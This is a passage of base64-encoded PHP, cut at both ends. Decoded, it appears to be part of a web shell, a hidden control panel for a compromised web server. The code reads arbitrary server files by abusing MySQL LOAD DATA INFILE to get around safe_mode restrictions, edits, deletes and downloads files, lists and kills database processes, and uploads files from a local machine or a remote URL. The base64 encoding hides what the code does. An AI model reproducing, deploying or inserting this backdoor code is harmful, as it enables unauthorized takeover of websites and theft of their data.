B0aW1pemUgdGFibGU8L29wdGlvbj4iOwo8b3B0aW9uIHZhbHVlPSJ0YmxyZXBhaXIiPlJlcGFpciB0YWJsZTwvb3B0aW9uPiI7CjxvcHRpb24gdmFsdWU9InRibGFuYWx5emUiPkFuYWx5emUgdGFibGU8L29wdGlvbj4iOwo8L3NlbGVjdD4KPGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNvbmZpcm0iPgo8L2Rpdj4KPC9mb3JtPic7CiBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKfQogfQp9CiB9Cn0KZWxzZSB7CiR4cyA9IGFycmF5KCIiLCJuZXdkYiIsInNlcnZlcnN0YXR1cyIsInNlcnZlcnZhcnMiLCJwcm9jZXNzZXMiLCJnZXRmaWxlIik7CmlmIChpbl9hcnJheSgkc3FsX3gsJHhzKSkgewplY2hvICc8dGFibGUgY2xhc3M9InRhYiI+Cjx0cj4KPHRkIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICMzMzMzMzM7cGFkZGluZzozcHg7Ij48Yj5DcmVhdGUgbmV3IERCOjwvYj4KPGZvcm0gYWN0aW9uPSInLiRzdXJsLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3giIHZhbHVlPSJuZXdkYiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiciPgo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld2RiIiBzaXplPSIyMCI+CjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiAgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj4KPC9mb3JtPgo8L3RkPgo8dGQgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgIzMzMzMzMztwYWRkaW5nOjNweDsiPjxiPlZpZXcgRmlsZTo8L2I+Cjxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0iZ2V0ZmlsZSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiciPgo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2dldGZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ2V0ZmlsZSkuJyI+CjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQiPgo8L2Zvcm0+CjwvdGQ+CjwvdHI+CjwvdGFibGU+JzsKfQppZiAoIWVtcHR5KCRzcWxfeCkpIHsKIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKIGlmICgkc3FsX3ggPT0gIm5ld2RiIikgewplY2hvICI8Yj4iOwppZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7fQplbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9CiB9CiBpZiAoJHNxbF94ID09ICJzZXJ2ZXJzdGF0dXMiKSB7CiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBTVEFUVVMiLCAkc3FsX3NvY2spOwplY2hvICI8Y2VudGVyPjxiPlNlcnZlciBzdGF0dXMgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7CmVjaG8gIjx0YWJsZSBjbGFzcz0ndHViJz48dGg+PGI+TmFtZTwvYj48L3RoPjx0aD48Yj5WYWx1ZTwvYj48L3RoPjwvdHI+IjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQplY2hvICI8L3RhYmxlPjwvY2VudGVyPiI7Cm15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogfQogaWYgKCRzcWxfeCA9PSAic2VydmVydmFycyIpIHsKJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFZBUklBQkxFUyIsICRzcWxfc29jayk7CmVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOwplY2hvICI8dGFibGUgY2xhc3M9J3R1Yic+PHRoPjxiPk5hbWU8L2I+PC90aD48dGg+PGI+VmFsdWU8L2I+PC90aD48L3RyPiI7CndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30KZWNobyAiPC90YWJsZT4iOwpteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKIH0KIGlmICgkc3FsX3ggPT0gInByb2Nlc3NlcyIpIHsKaWYgKCFlbXB0eSgka2lsbCkpIHsKICRxdWVyeSA9ICJLSUxMICIuJGtpbGwuIjsiOwogJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwgJHNxbF9zb2NrKTsKIGVjaG8gIjxiPlByb2Nlc3MgIyIuJGtpbGwuIiB3YXMga2lsbGVkLjwvYj4iOwp9CiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBQUk9DRVNTTElTVCIsICRzcWxfc29jayk7CmVjaG8gIjxjZW50ZXI+PGI+UHJvY2Vzc2VzOjwvYj48YnI+PGJyPiI7CmVjaG8gIjx0YWJsZSBjbGFzcz0ndHViJz48dGg+PGI+SUQ8L2I+PC90aD48dGg+PGI+VVNFUjwvYj48L3RoPjx0aD48Yj5IT1NUPC9iPjwvdGg+PHRoPjxiPkRCPC9iPjwvdGg+PHRoPjxiPkNPTU1BTkQ8L2I+PC90aD48dGg+PGI+VElNRTwvYj48L3RoPjx0aD48Yj5TVEFURTwvYj48L3RoPjx0aD48Yj5JTkZPPC9iPjwvdGg+PHRoPjxiPkFjdGlvbjwvYj48L3RoPjwvdHI+IjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7IGVjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PHRkPiIuJHJvd1syXS4iPC90ZD48dGQ+Ii4kcm93WzNdLiI8L3RkPjx0ZD4iLiRyb3dbNF0uIjwvdGQ+PHRkPiIuJHJvd1s1XS4iPC90ZD48dGQ+Ii4kcm93WzZdLiI8L3RkPjx0ZD4iLiRyb3dbN10uIjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3g9cHJvY2Vzc2VzJmtpbGw9Ii4kcm93WzBdLiJcIj48dT5LaWxsPC91PjwvYT48L3RkPjwvdHI+Ijt9CmVjaG8gIjwvdGFibGU+IjsKbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiB9CiBpZiAoJHNxbF94ID09ICJnZXRmaWxlIikgewokdG1wZGIgPSAkc3FsX2xvZ2luLiJfdG1wZGIiOwokc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7CmlmICghJHNlbGVjdCkge215c3FsX2NyZWF0ZV9kYigkdG1wZGIpOyAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7ICRjcmVhdGVkID0gISEkc2VsZWN0O30KaWYgKCRzZWxlY3QpIHsKICRjcmVhdGVkID0gRkFMU0U7CiBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3Blbl9iYXNlZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOwogbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLmFkZHNsYXNoZXMoJHNxbF9nZXRmaWxlKS4iXCIgSU5UTyBUQUJMRSB0bXBfZmlsZSIpOwogJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRtcF9maWxlOyIpOwogaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxlIChwZXJtaXNpb24gZGVuaWVkKSE8L2I+Ijt9CiBlbHNlIHsKZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyAkbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7IH0KJGYgPSAiIjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHsgJGYgLj0gam9pbiAoIlxyXG4iLCRyb3cpOyB9CmlmIChlbXB0eSgkZikpIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiIGRvZXMgbm90IGV4aXN0cyBvciBlbXB0eSE8L2I+PGJyPiI7fQplbHNlIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkuIjxicj4iO30KbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7Cm15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIHRtcF9maWxlOyIpOwogfQp9Cm15c3FsX2Ryb3BfZGIoJHRtcGRiKTsKIH0KfQogfQp9CmVjaG8gJzwvdGQ+PC90cj4nOwppZiAoJHNxbF9zb2NrKSB7CiAgJGFmZmVjdGVkID0gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHNxbF9zb2NrKTsKICBpZiAoKCFpc19udW1lcmljKCRhZmZlY3RlZCkpIG9yICgkYWZmZWN0ZWQgPCAwKSkgeyAkYWZmZWN0ZWQgPSAwOyB9CiAgZWNobyAiXHQ8dHI+PHRoIGNvbHNwYW49Mj5BZmZlY3RlZCByb3dzOiAkYWZmZWN0ZWQ8L3RoPjwvdHI+IjsKfQplY2hvICc8L3RhYmxlPjwvY2VudGVyPic7CiAgfQplY2hvICc8L2Zvcm0+JzsKfQp9Ci8vKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tWyBiYXRhcyBdLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLy8KCgplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocGluZm8nKSl7IEBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCiAgICBAb2Jfc3RhcnQoKTsKICAgIEBldmFsKCJwaHBpbmZvKCk7Iik7CiAgICAkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgIEBvYl9lbmRfY2xlYW4oKTsgICAgCiAgICAkYXdhbCA9IHN0cnBvcygkYnVmZiwiPGJvZHk+IikrNjsKICAgICRha2hpciA9IHN0cnBvcygkYnVmZiwiPC9ib2R5PiIpOwogICAgZWNobyAiPGRpdiBjbGFzcz1cInBocGluZm9cIj4iLnN1YnN0cigkYnVmZiwkYXdhbCwkYWtoaXItJGF3YWwpLiI8L2Rpdj4iOwp9CmVsc2VpZihpc3NldCgkX0dFVFsndmlldyddKSAmJiAoJF9HRVRbJ3ZpZXcnXSAhPSAiIikpewogIGlmKGlzX2ZpbGUoJF9HRVRbJ3ZpZXcnXSkpeyAKICAgIGlmKCFpc3NldCgkZmlsZSkpICRmaWxlID0gbWFnaWNib29tKCRfR0VUWyd2aWV3J10pOwogICAgaWYoISR3aW4gJiYgJHBvc2l4KXsKICAgICAgICAkbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7CiAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAkb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTsKICAgIH0KICAgIGVsc2UgewogICAgICAgICRvd25lciA9ICR1c2VyOwogICAgfQogICAgJGZpbG4gPSBiYXNlbmFtZSgkZmlsZSk7CiAgICBlY2hvICI8dGFibGUgc3R5bGU9XCJtYXJnaW46NnB4IDAgMCAycHg7bGluZS1oZWlnaHQ6MjBweDtcIj4KICAgIDx0cj48dGQ+RmlsZW5hbWU8L3RkPjx0ZD48c3BhbiBpZD1cIiIuY2xlYXJzcGFjZSgkZmlsbikuIl9saW5rXCI+Ii4kZmlsZS4iPC9zcGFuPgogICAgPGZvcm0gYWN0aW9uPVwiP3k9Ii4kcHdkLiImYW1wO3ZpZXc9JGZpbGVcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbG4pLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxuLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPgogICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsbi4iXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIlJlbmFtZVwiIHZhbHVlPVwiUmVuYW1lXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlPVwiQ2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtJyk7XCIgLz4KICAgIDwvZm9ybT4KICAgIDwvdGQ+PC90cj4KICAgIDx0cj48dGQ+U2l6ZTwvdGQ+PHRkPiIudWt1cmFuKCRmaWxlKS4iPC90ZD48L3RyPgogICAgPHRyPjx0ZD5QZXJtaXNzaW9uPC90ZD48dGQ+Ii5nZXRfcGVybXMoJGZpbGUpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPk93bmVyPC90ZD48dGQ+Ii4kb3duZXIuIjwvdGQ+PC90cj4KICAgIDx0cj48dGQ+Q3JlYXRlIHRpbWU8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVjdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPkxhc3QgbW9kaWZpZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPkFjdGlvbnM8L3RkPjx0ZD48YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0kZmlsZVwiPkVkaXQ8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmaWxuKS4iX2Zvcm0nKTtcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RlbGV0ZT0kZmlsZVwiPkRlbGV0ZTwvYT4gfCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGw9JGZpbGVcIj5Eb3dubG9hZDwvYT4mbmJzcDsoPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RsZ3ppcD0kZmlsZVwiPkdaaXA8L2E+KTwvdGQ+PC90cj4KICAgIDx0cj48dGQ+VmlldzwvdGQ+PHRkPjxhIGhyZWY9XCI/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiJcIj5UZXh0PC9hPiB8IDxhIGhyZWY9XCI/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiImYW1wO3R5cGU9Y29kZVwiPkNvZGU8L2E+IHwgPGEgaHJlZj1cIj95PSIuJHB3ZC4iJmFtcDt2aWV3PSIuJGZpbGUuIiZhbXA7dHlwZT1pbWFnZVwiPkltYWdlPC9hPjwvdGQ+PC90cj4KICAgIDwvdGFibGU+CiAgICAiOwogICAgaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdpbWFnZScpKXsKICAgICAgICBlY2hvICI8ZGl2IHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luOjhweDtcIj48aW1nIHNyYz1cIj95PSIuJHB3ZC4iJmFtcDtpbWc9Ii4kZmlsbi4iXCI+PC9kaXY+IjsKICAgIH0KICAgIGVsc2VpZihpc3NldCgkX0dFVFsndHlwZSddKSAmJiAoJF9HRVRbJ3R5cGUnXT09J2NvZGUnKSl7CiAgICAgICAgZWNobyAiPGRpdiBjbGFzcz1cInZpZXdmaWxlXCI+IjsKICAgICAgICAkZmlsZSA9IHdvcmR3cmFwKEBmaWxlX2dldF9jb250ZW50cygkZmlsZSksIjI0MCIsIlxuIik7CiAgICAgICAgQGhpZ2hsaWdodF9zdHJpbmcoJGZpbGUpOwogICAgICAgIGVjaG8gIjwvZGl2PiI7CiAgICB9CiAgICBlbHNlIHsKICAgICAgICBlY2hvICI8ZGl2IGNsYXNzPVwidmlld2ZpbGVcIj4iOwogICAgICAgIGVjaG8gbmwyYnIoaHRtbGVudGl0aWVzKChAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKSkpOwogICAgICAgIGVjaG8gIjwvZGl2PiI7CiAgICB9CiAgfQogIGVsc2VpZihpc19kaXIoJF9HRVRbJ3ZpZXcnXSkpewogICAgICAgIGVjaG8gc2hvd2RpcigkcHdkLCRwcm9tcHQpOwogIH0KICAgIAp9CmVsc2VpZihpc3NldCgkX0dFVFsnZWRpdCddKSAmJiAoJF9HRVRbJ2VkaXQnXSAhPSAiIikpe0Bpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCgogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc2F2ZSddKSl7CiAgICAgICAgICAgICRmaWxlID0gJF9QT1NUWydzYXZlYXMnXTsKICAgICAgICAgICAgJGNvbnRlbnQgPSBtYWdpY2Jvb20oJF9QT1NUWydjb250ZW50J10pOwogICAgICAgICAgICBpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInciKSl7CiAgICAgICAgICAgICAgICAkdGltZSA9IGRhdGUoImQtTS1ZIEg6aSIsdGltZSgpKTsKICAgICAgICAgICAgICAgIGlmKEBmd3JpdGUoJGZpbGV6LCRjb250ZW50KSkgJG1zZyA9ICJmaWxlIHNhdmVkIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPkA8L3NwYW4+ICIuJHRpbWU7CiAgICAgICAgICAgICAgICBlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHNhdmUiOwogICAgICAgICAgICAgICAgQGZjbG9zZSgkZmlsZXopOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgJG1zZyA9ICJwZXJtaXNzaW9uIGRlbmllZCI7CiAgICAgICAgfQogICAgICAgIGlmKCFpc3NldCgkZmlsZSkpICRmaWxlID0gJF9HRVRbJ2VkaXQnXTsKICAgICAgICBpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInIiKSl7CiAgICAgICAgICAgICRjb250ZW50ID0gIiI7CiAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRmaWxleikpewogICAgICAgICAgICAgICAgJGNvbnRlbnQgLj0gaHRtbGVudGl0aWVzKHN0cl9yZXBsYWNlKCInJyIsIiciLGZnZXRzKCRmaWxleikpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBAZmNsb3NlKCRmaWxleik7CiAgICAgICAgfQogICAgCj8+Cjxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4mYW1wO2VkaXQ9PD89JGZpbGU7ID8+IiBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2xhc3M9ImNtZGJveCI+Cjx0cj48dGQgY29sc3Bhbj0iMiI+Cjx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0IiBuYW1lPSJjb250ZW50Ij4KPD89JGNvbnRlbnQ7ID8+CjwvdGV4dGFyZWE+Cjx0cj48dGQgY29sc3Bhbj0iMiI+U2F2ZSBhcyA8aW5wdXQgb25Nb3VzZU92ZXI9InRoaXMuZm9jdXMoKTsiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNhdmVhcyIgc3R5bGU9IndpZHRoOjYwJTsiIHZhbHVlPSI8Pz0kZmlsZTsgPz4iIC8+PGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUgISIgbmFtZT0ic2F2ZSIgc3R5bGU9IndpZHRoOjEyJTsiIC8+CiZuYnNwOzw/PSRtc2c7ID8+PC90ZD48L3RyPgo8L3RhYmxlPgo8L2Zvcm0+Cjw/cGhwCn0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdsb2dvdXQnKSkKeyAgIAo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PWxvZ291dCIgbWV0aG9kPSJwb3N0Ij4KCjw/cGhwCiAgICB1bnNldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKTsgCiAgICBlY2hvICI8YnIgLz48YnIgLz48Y2VudGVyPkJ5ZWUgISEhISEhPC9jZW50ZXI+IjsgCn0KCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAndXBsb2FkJykpeyBAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7IAplY2hvICIKPHRhYmxlIHN0eWxlPXdpZHRoOjEwMCU7IGJvcmRlcj0wIGNsYXNzPXRhYm5ldCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTEgYWxpZ249Y2VudGVyPgoKICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249dG9wIGJnY29sb3I9IzE1MTUxNSBjbGFzcz1zdHlsZTIgc3R5bGU9d2lkdGg6IDEzOXB4PgogICAgPGNlbnRlcj48Yj48Zm9udCBzaXplPTUgc3R5bGU9aXRhbGljIGNvbG9yPSMwMGZmMDA+VXBsb2FkZXI8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwppZihpc3NldCgkX1BPU1RbJ3VwbG9hZGNvbXAnXSkpewogICAgaWYoaXNfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkcGF0aCA9IG1hZ2ljYm9vbSgkX1BPU1RbJ3BhdGgnXSk7CiAgICAgICAgJGZuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107CiAgICAgICAgJHRtcF9uYW1lID0gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOwogICAgICAgICRwaW5kYWggPSAkcGF0aC4kZm5hbWU7CiAgICAgICAgJHN0YXQgPSBAbW92ZV91cGxvYWRlZF9maWxlKCR0bXBfbmFtZSwkcGluZGFoKTsgICAgIAogICAgICAgIGlmICgkc3RhdCkgewogICAgICAgICAgICAkbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7CiAgICAgICAgfQogICAgICAgIGVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7CiAgICB9CiAgICBlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHVwbG9hZCAkZm5hbWUiOwp9CmVsc2VpZihpc3NldCgkX1BPU1RbJ3VwbG9hZHVybCddKSl7QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOyAKICAgICRwaWxpaGFuID0gdHJpbSgkX1BPU1RbJ3BpbGloYW4nXSk7CiAgICAkd3VybCA9IHRyaW0oJF9QT1NUWyd3dXJsJ10pOwogICAgJHBhdGggPSBtYWdpY2Jvb20oJF9QT1NUWydwYXRoJ10pOwogICAgJG5hbWFmaWxlID0gZG93bmxvYWQoJHBpbGloYW4sJHd1cmwpOwogICAgJHBpbmRhaCA9ICRwYXRoLiRuYW1hZmlsZTsKICAgIGlmKGlzX2ZpbGUoJHBpbmRhaCkpIHsKICAgICAgICAkbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7CiAgICB9CiAgICBlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHVwbG9hZCAkbmFtYWZpbGUiOwoKfQo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PXVwbG9hZCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0Ij48dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij48dHI+PHRoIGNvbHNwYW49IjIiPjxiPlVwbG9hZCBGcm9tIENvbXB1dGVyPC9iPjwvdGg+PC90cj48dHI+PHRkIGNvbHNwYW49IjIiPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCBzdHlsZT0iY29sb3I6IzAwMDAwMDsiIHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkY29tcCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkdvIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvcD48L3RkPgo8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwd2Q7ID8+IiAvPjwvdGQ+PC90cj4KPC90cj48L3R